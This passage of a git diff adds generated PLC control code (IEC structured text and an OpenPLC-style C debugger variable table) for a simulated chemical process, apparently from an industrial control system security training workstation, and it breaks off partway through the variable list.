REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, 